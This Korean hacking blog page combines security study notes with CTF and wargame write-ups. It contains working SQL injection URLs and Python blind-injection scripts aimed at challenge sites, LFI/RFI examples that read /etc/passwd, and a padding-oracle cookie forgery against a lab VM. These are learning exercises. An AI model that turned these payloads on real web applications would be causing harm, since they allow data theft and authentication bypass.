*RAID(Redundant Array Of Independent Disk)

 

RAID는 디스크 고장시 백업디스크가 그대로 복구할 수 있도록 2개이상의 디스크에 데이터를 저장할 수 있는 기술

 

RAID0 : 최소 2개의 디스크로 구성된다.

작은 디스크를 모아 하나의 큰 디스크로 만드는 기술

중복저장은 없기 때문에 디스크 장애시 복구 불가.

 

RAID1: Disk Mirroring은 여러 디스크에 데이터를 완전 이중화하여 저장

고비용,병렬적,속도가 빠르다.

 

RAID2: ECC기능이 없는 디스크의 오류복구를 위하여 개발

Hamming Code를 이용하여 오류 복구

 

RAID3: Parity 정보를 별도 Disk에 저장

1개의 디스크 장애시 Parity를 통해 복구 가능

write 기능 저하

 

RAID4: Parity정보를 별도 Disk에 저장

Block단위로 데이터디스크에 분산저장

 

RAID5: 분산 Parity를 구현해 안정성 향상

최소3개디스크

 

RAID6: Parity를 다중 저장

 

*TTL

window 운영체제 기반: ttl = 128

unix 운영체제 기반: ttl = 64

others 운영체제 기반: ttl = 255

(but 최대 30까지 가능)

 

*pingicmp를 사용

 

*MMC(Microsoft Management Console)은 다양한 application을 위한 관리 인터페이스 제공

 

*SAM(Security Account Manager)은 윈도우 사용자 계정정보를 가지고 있다.

 

*SRM(Security Reference Monitor)은 윈도우 사용자에게 고유하게 sid를 할당하고 권한을 부여한다.

 

*LSA(Local Security Authority)은 모든 윈도우 사용자에 대해 로그인을 검증하고 시스템 자원 및 파일에 대한 접근권한 검사

 

*mstsc: 윈도우 터미널 인증 명령어(원격 조종을 위해 쓰인다)

 

*VNC(Virtual Network Computing): 컴퓨터 환경에서 RFB프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 시스템

 

*teamviewer : 컴퓨터 간 원격 제어, 데스크톱 공유, 파일전송을 위한 소프트웨어

 

*레지스트리

HKEY_CLASSES_ROOT: 파일간 확장자에 대한 정보와 파일과 프로그램 간에 연결에 대한 정보

HKEY_LOCAL_MACHINE: 설치된 HW&SW 설치 드라이버 설정에 대한 정보

HKEY_USERS: 사용자에 대한 정보

HKEY_CURRENT_CONFIG: 디스플레이 설정과 프린트 설정에 관한 정보

 

*하이브 파일

레지스트리 파일을 가지고 있는 물리적 파일

rededit.exe는 하이브 파일을 읽어서 보여주거나 변경하는 것으로 레지스트 관련 모든 정보는 하이브, 커널에 의해 관리

C:\WINDOWS\SYSTEM32\CONFIG

->Regback : 하이브 백업

 

*HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENT VERSION

:윈도우 버전 정보를 가지고 있는 레지스트리 키

 

*HKLM\System\ControlSet00X\Control\computerName\ActiveComputerName

:컴퓨터 이름을 가지고 있는 레지스트리 키

 

*HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN

:윈도우 시작과 관련된 레지스트리 키

 

*HKEY_USER\{USER}\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RUNMRU

:최근 실행한 명령어 레지스트리 키

 

*레지스트리: 시스템 구성정보를 저장한 데이터 베이스 프로세서의 종류, 주기억장치의 용량,접속된 주변장치의 정보등이 기억.

 

*HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RECENTDOCS

:최근에 열어본 문서

 

*레지스트리에서 추출된 파일은 변환기로 읽을 수 있다(바이너리)

 

*APT(Advanced Persistent Threat)

:잠행적이고 지속적인 컴퓨터 해킹 프로세스들의 집합. sns를 사용한 정보수집, 악성코드 배포를 수행하고 공격의 표적을 선정해 지속적 공격

 

Zero Day Attack: 소프트웨어 취약점을 공격하는 기술적 위협으로, 해당 취약점에 대한 패치가 나오지 않은 시점에 이루어 지는 공격

 

MAIL APT: 악성코드를 메일에 첨부해 발송하고 이를 통해 정보를 획득

 

백도어 APT: 포적에 침투후 백도어를 설치하여 재 침입시에 유입 경로를 열어두는 것 이다.

 

바이너리 디핑(Binary Diffing): APT공격이 아니라 ZERO ATTACK 취약점을 찾을수 있는 기법이다. 디핑기술을 사용해 스크립트 된 바이너리 함수 정보를 획득한다.

 

*드라이브 바이 다운로드

:인터넷에서 컴퓨터 SOFTWARE의 의도되지 않은 다운로드와 관련해서 2가지를 의미한다.

1. 결과에 대한 이해가 없는 개인이 허가한 다운로드들

2. 컴퓨터 바이러스, 스파이웨어 같은 개인의 인식없이 일어나는 것

 

*워터링 홀

:공격자는 표적에 대한 정보를 수집해 주로 방문한 웹사이트를 파악해서 미리 악성코드를 심어놓고 기다렸다가 공격

 

*메모리 구조

: 스택은 메모리의 연속된 공간에 할당된다. MALLOCFREE는 동적으로 메모리를 할당하거나 해제하는 것 으로 HEAP영역에서 사용되며 STACK과는 관련없다.

 

*IaaS(Infrastructure as a Service)

:서버를 운영하기 위해서는 서버지원, ip등을 구축하기 위해 여러 가지가 필요하다. iaas는 이러한 것들을 가상의 환경에서 쉽고 편리하게 이용 할 수 있게 서비스 형태로 제공함.

 

2018 코드게이트 대학부 예선전을 치뤘다.

웹쪽을 공부해 왔기때문에 web 파트는 내가 풀었지만

simple_cms 한문제를 16시간 보고도

풀지 못했다.....

하지만 이 simple_cms문제는 총 6팀만 푼 문제로 

상당히 난이도가 있었기 때문에 review를 해본다.

우선 첫 화면은 로그인 페이지 이다.

그리고 

click me if you don't have a count를 누르면


회원 가입 화면이 나온다.

여기서 가입을 하고 난 후에

board로 들어가 보면

이렇게 write를 눌러서 사람들이 쓰는 글들이 

계속해서 업데이트 된다.

실시간으로


코드게이트는 소스를 주기 떄문에 조금 더 나을 수 있지만

이번 Simple_CMS는 굉장히 많은 소스코드를 가지고 

문제를 풀어나가야 하기때문에

취약점을 찾는 것 부터가 매우 어려웠다.

아마 취약점을 잡는 것이 이 문제의 핵심이라고

말할수 있을 것 같다.



우선 simple_cms.sql 파일에서

우리는 무엇을 찾아야 하는지를 알 수 있다.

db가 만들어 질 때에

board 와 flag 테이블이 만들어 지는데

이때 board와 flag테이블은 앞에 {table_prefix}라는 문장을 앞에 붙이게 된다.

그리고 flag의 values에

{blind_column}이라는 알 수 없는 문자열이 앞에 붙는다.

아마 우리는 {table_prefix}를 찾아야 할 것 같다.



우선 입력창에는 항상

filter_str의 필터링이 있다.

or, and, information, schema, procedure analyse, order, by, group, into 가 필터링이 되어있다.

그러니 거의 injection코드는 다 필터링이 되어있는 셈이다.

이때부터 조금 위축 되었던 것 같다.



나는 소스코드만 한참 뒤지다가

board.class.php의

action_search의 소스코드에서

col에 유난히 많은 필터링이 있는 것을 보고

한번 코드를 파보았다.


우선 

$query = get_search_query($column,$search,$operator)와

$result = DB::fetch_multi_row('board','','','0,10','date desc',$query)

에 대하여 알아보기 위해서


lib.php에서

소스를 보니

$column에는 다중으로 파라미터 삽입이 가능하다.

구분은 | 연산자로 해준다고 되어 있다.

그리고 

LOWER({column[$i]}) like '%{search}%'{operator}"에 변수로 들어가는데

이때 operator는 or 나 and 인데

$type변수에 1이면 or 2이면 and라고 다른 소스에 적혀있다.

그리고 column이 여러개 이면

operator로 연달에 $result문에 붙게 된다.

여기서 나는 여기가 취약점이라는 생각을 확실시 하게 된다.





그리고 DB.class.php에서 

fetch_multi_row함수를 찾을 수 있었다.

fetch_multi_row함수는 get_search_query에서 파라미터 $query를 받고

여기서 우리가 찾고자 하는 난독화된 board명을 만든다.

그리고 우리가 받았던 $query를 foreach문으로

$key값과 $value값으로 만든다.

그리고 {$key}='{$value}'{operator}로 만들어 진다.

그리고 다 만들어 지면

쿼리문을 실행시키는 구조인 것 같다.




우선 search키를 누르면 주소창에 get방식으로 

?act=board&mid=search&col=title&type=1&search=으로 뜬다.

우리는 search와 col에 들어갈 파라미터를 적절히 고쳐야 할 것이다.

여기까지에서 나는 막혔다.

그리고 여러 write up을 보고 공부해보니

우선 title 뒤에 %23(#) 주석을 달아줘야 했다.

물론 이 방법은 시도 해 보았었다.

이렇게 나온다.


그러면 우리는 

?act=board%mid=search&col=title%23&type=1&search=1%0a)%3c0%20union%20select%201,

(select%20table_name%20from%20mysql.innodb_table_Stats%20limit%202,1),3,4,5%23

의 쿼리문을 넣어주면 


이렇게 flag앞에 붙은 table_prefix를 알 수 있다.

우선 나는 table_name을 쓰는 것은 알 수 있었지만

%0a로 우회 가능한 점은 당연히 안될 줄 알았었다.

하지만 %23이 한줄 주석이라는 점을 이용해 %0a로 열을 바꾸어 주어

주석을 피하고 난 후에

union select로 injection을 해주는 방법은 보고나서 아~ 하는 소리를 내기에 충분했다.


그리고 나는 이후에 왜 이렇게 상세하게 테이블의 갯수를 가르쳐 준지 알게되었다.

order by를 막아놓았기 때문에 union select 문을 쓰려면 컬럼의 갯수를 정확히 알아야 한다.

그래서 이렇게 컬럼의 갯수를 준게 아닐까 생각된다.

이후에는 table명을 알았으니

일사 천리로

?act=board&mid=seach&col=title%23&type=1&search=test%0a<0%20union%20(select%201,t.*%20from%20mysql.user%20join%2041786c497656426a6149_flag%20t)%23

문을 넣으면

우리는 flag를 얻을 수 있다.

우선 쿼리문을 분석하자면

flag와 (1,t.*)을 join해서 그 문장을 union select문으로 injection한다.

t.*는 flag문을 t로 지칭해주는 뒷부분으로 flag의 컬럼을 다 사용하는데 이때

컬럼의 갯수가 board의 컬럼갯수보다 하나 부족하기 때문에

앞에 1을 하나 붙여준다.



참조:https://ctftime.org/writeup/8619


'CTF > CTF 문제들' 카테고리의 다른 글

Defcon2019 Speedrun-001 write-up  (0) 2019.05.18
코드게이트2018 후기  (0) 2018.04.09

File Inclusion Attacks


File Inclusion Attack이란 공격자가 php script를 통해 웹서버에 파일을 올리게 하는 것을 가능하게 하는 공격기법이다.

이 취약점은 웹어플리케이션이 사용자에게 파일을 올리거나 업로드 시킬수 있게 할 때에 많이 일어난다.


이 공격은


1.Code execution on the web site

2.Cross Site Scripting Attacks(XSS)

3.Denial of Service(DOS)

4.Data Manipulation Attack


같은 공격에 사용되어 질 수 있다.


이 공격은 2가지로 나누어 지는데

1. Local File Inclusion(LFI)

2. Remote File Inclusion(RFI)

이다.


Local File Inclusion(LFI)

LFI는 PHP계정이 액세스한 파일이 PHP함수인 include 또는 require_once에 파라미터로 들어갈 때에 발생한다.



이 취약점은 페이지가 포함되어야 하는 자리에 파일에 대한 경로가 넣었을 때 필터링을 제대로 거치지 않아서 폴더의 위치를 나타내는 문자열이 들어갔을 때에 발생 할 수 있다.


예를 들어


page = file1.php를 넣었을 때에 이런 창이 뜬다면




?page=/etc/passwd를 넣었을 때에 이런 창을 return할 수 있게 된다.




Remote File Inclusion(RFI)

RFI는 다른 서버에 있는 파일의 위치의 URI가 PHP 함수 "include","include_once","require","require_once"들에 파라미터로 삽입이 될 때에 발생한다.

PHP는 페이지안에 content를 포함한다. 만약에 content가 php 소스코드를 실행시키면 php는 파일을 실행시킬것 이다.

PHP Remote File Inclusion은 취약한 PHP script안에 있는 PHP 코드안에 공격을 감행하여, 웹서버에서 원격으로 조종해 웹을 파괴시키거나 정보를 탈취 당할 수 있는 위험성이 있다.



예를 들면

http://192.168.1.8/dvwa/vulnerabilities/fi/?page=file1.php

http:// 192.168.1.8/dvwa/vulnerabilities/fi/?page=http://google.com

로 page 파라미터에 또 다른 실행을 넣어서 원격으로 조정가능하게 만든다.


사진 출처 및 참조 : http://www.hackingarticles.in/beginner-guide-file-inclusion-attack-lfirfi/

'Hacking' 카테고리의 다른 글

Oracle Padding Attack[실전편]  (0) 2018.01.31
XSS(Cross Site Scripting)  (0) 2018.01.15
Oracle Padding Attack[이론편]  (2) 2018.01.09
error based sql injection  (0) 2017.09.18

bool isset ( mixed $var [, mixed $... ] )


isset 괄호 안의 변수가  있는지 없는지를 검사하는 함수, 만약 변수가 null 이라면 false를 리턴한다.

만약 unset()함수에 의해 unset 된다면, 더이상 set이 아니다.

만일 괄호 안에 다양한 변수가 있다면, 모든 변수가 다 들어 있어야 true 를 return한다.

'함수들' 카테고리의 다른 글

addslashes()함수  (0) 2018.01.22
strtolower()함수  (0) 2018.01.10
trim()함수  (0) 2018.01.10
getenv()함수  (0) 2018.01.10
alert()함수  (0) 2018.01.08

ORACLE PADDING ATTACK[실전편]


앞서 오라클 패딩에 관해서 알아보았다.

그래서 실제로 어떻게 이용되는지를 알아보자.


우선 https://www.vulnhub.com/entry/pentester-lab-padding-oracle,174/에서



동그라미 친 부분을 다운받는다.

그러면 iso파일이 받아지게 된다.


그렇다면 vmware에서 

debian 8.x로(32bit) 새로 virtual machine을 만든다.

이때 network adapter 에서 bridge로 바꾸어 준다.

이 머신을 돌려준 후에

kali linux로 들어간다.


일단 우리는 padbuster 프로그램을 써야하기 때문에

먼저 터미널을 열고

wget https://github.com/GDSSecurity/PadBuster.git

를 쳐서 엔터를 누르면 

padbuster가 깔린다.

그리고 새로만든 virtual machine에서

주소를 알아와야한다.

ifconfig를 치면 나오는 inet addr를 가지고 들어가야 한다.


이제 칼리리눅스 firefox에서

아까 그 주소를 치면

이런 페이지가 뜬다.

이때 register를 누르면

이런 가입 화면이 뜬다.

원하는 아이디를 만들고

log in 버튼을 누르면


로그인이 됐다고 나온다.

그러면 화면 왼쪽 상단에 로그아웃을 누르고




아이디와 비밀번호를 치고 log in 버튼을 누르기 전에,

우리는 burp suite을 사용해 주어야 하기 때문에

먼저 설정을 몇가지 해 주어야 한다.



그리고 burp suite을 쓰기위해서 프록시 설정을 해주어야 한다.

일단 파이어폭스에 들어간 후에

주소창 왼쪽에 줄 버튼을 누르고

거기에 preferences를 누른다.



그리고 옆에 Advanced를 누르고

setting에 들어간다.



거기서 manual proxy configuration을 선택후

http proxy : 127.0.0.1/ 8080을 setting한다.



그리고

burp suite에서 이렇게 설정을 해 주고



burp suite에서 intercept on으로 설정 해주고

홈페이지에서 log in을 누르면


이렇게 패킷을 받을 수 있다.

이 패킷을

위에서 repeater창에 들어가서

아까 받은 패킷을 복사 붙여넣기 해준후

오른쪽 상단의 펜 버튼을 부른다.


그러면 이렇게 configure target details가 뜨고

host에 아까 들어간 홈페이지 주소를

port는 http 포트인 80을 넣어준다.

그리고 go를 누르면 이렇게 화면이 뜬다

이때 밑줄 친 auth를 복사하고

이렇게 터미널에 자신의 auth를 넣고 이런 명령문을 치면된다.

이때 입력창이 뜨면 2를 넣어주면 된다.

그러면 이렇게 user=hi로 해석이 된다.



그렇다면 우리는 admin으로 들어가고 싶기 때문에

맨 끝에

-plaintext user=admin을 처넣어 주면



이렇게 

value 값이 나온다.

이 값을


파라미터에 쿠리 라는 칸을 만들고 value값에다 위에서 얻은 값을 넣어주고

forward를 누르면

이상한 창이 뜬다.(안뜨는 경우도 있는것 같다)


그러면 한번더 forwart를 누르면

params창이 나오고

여기에 다시 우리가 얻은 값을

요렇게 넣어주고

forward시키면


admin으로 접속이 된다.


이렇게 oracle padding attack을 실습 해 볼 수 있다.


물론 이건 단적인 예이지만 이렇게 쓰인다는 것을 알 수 있기 때문에 한번쯤 해보면

감을 잡는 데는 유용할 것 같다.




'Hacking' 카테고리의 다른 글

File Inclusion Attacks  (0) 2018.02.01
XSS(Cross Site Scripting)  (0) 2018.01.15
Oracle Padding Attack[이론편]  (2) 2018.01.09
error based sql injection  (0) 2017.09.18

첫화면은 그냥 마우스가 움직이면 변하는 숫자들이다.


rank로 들어가 보면 여러 랭킹이 많이 있다.

그리고 숫자를 클릭해 보면 그냥 이렇게 화면에 id가 맨위에 뜬다.


소스는 별 볼일 없지만

hint가 있다.

답이 소문자 이고 id=ip라고만 되어있다.

그래서

procedure analyse()로 칼럼의 명을 알아내 보니

challenge_55_game.ip가 나온다.

하지만 우리는 password를 알아내야 하기 때문에

limit 문을 써서

score=0%20limit%202,1%20procedure%20analyse()를 해 보면

pAsSw0RdzzzZ라는 것을 알 수 있다.


또 참일 때에는 local host

거짓일 때에는  gurwodla이 나오는 것을 볼 수 있다.


하지만 substr문은 필터링이 되어 있으므로

right(letf())문을 써서 알아보기로 한다.


import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=내 쿠키값'}

    for k in range(1,30):

        req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(k),headers=head)

        data = urllib.request.urlopen(req).read()       

        data = data.decode('UTF-8')

        find = re.findall("localhost",data)

        print(k)

        if find:

            print("password length :",k)

            break

        

    for i in range(1,k+1):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,"+str(i)+"),1)="+hex(j),headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("localhost",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)

   

이 파이썬으로 짠 소스를 돌리면

답이 나온다.

이것을 auth에 인증해 주면

55번도 클리어!



'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

첫화면은 Wrong이라는 메시지가 뜨고

검은화면이 나온다.

소스를 보니 상당히 난독화 되어있다.


그래서 파이어폭스로

inspector로 보니

맨 마지막에 href가 있다.

여기로 들어가보니

정답이 나와있다.


34번 클리어!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 55번  (0) 2018.01.26
Webhacking.kr 9번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

첫화면은 번호들이 있고 들어가 져서 

하나씩 들어가 보았다.

1은 no를 뜻하는 것 같다.

APPLE

2번째는 Banana

3번째는 Secret이다.

힌트는 11글자

우선 =,을 비롯 띄워쓰기도 다 막혀있다.

그래서

if문은 막혀있지 않았기 때문에 =과 띄워쓰기를 제외하고

쿼리를 짜 보았더니

length가 11이라고 했는데 이 쿼리문은 돌기는 도는데

0으로 리턴이 된다.

그래서

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}


    for i in range(1,20):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("Secret",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)


이렇게 substr로 짜서 돌려보니

답이APPLE로 나왔다.

그런데 답은 아니었다....


이상해서 IF문이 맞으면 3을 리턴시켜보았더니

LENGTH가 11일 때에 참값이 나온다!

import urllib.request

import re


if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}


    for i in range(1,20):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),3,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("Secret",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)


그래서 3으로 다시 SUBSTR쿼리를 돌려보니

답이 나온다


9번도 클리어!



'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 55번  (0) 2018.01.26
Webhacking.kr 34번  (0) 2018.01.26
Webhacking.kr 13번  (0) 2018.01.25
Webhacking.kr 43번  (0) 2018.01.25
Webhacking.kr 49번  (0) 2018.01.19

+ Recent posts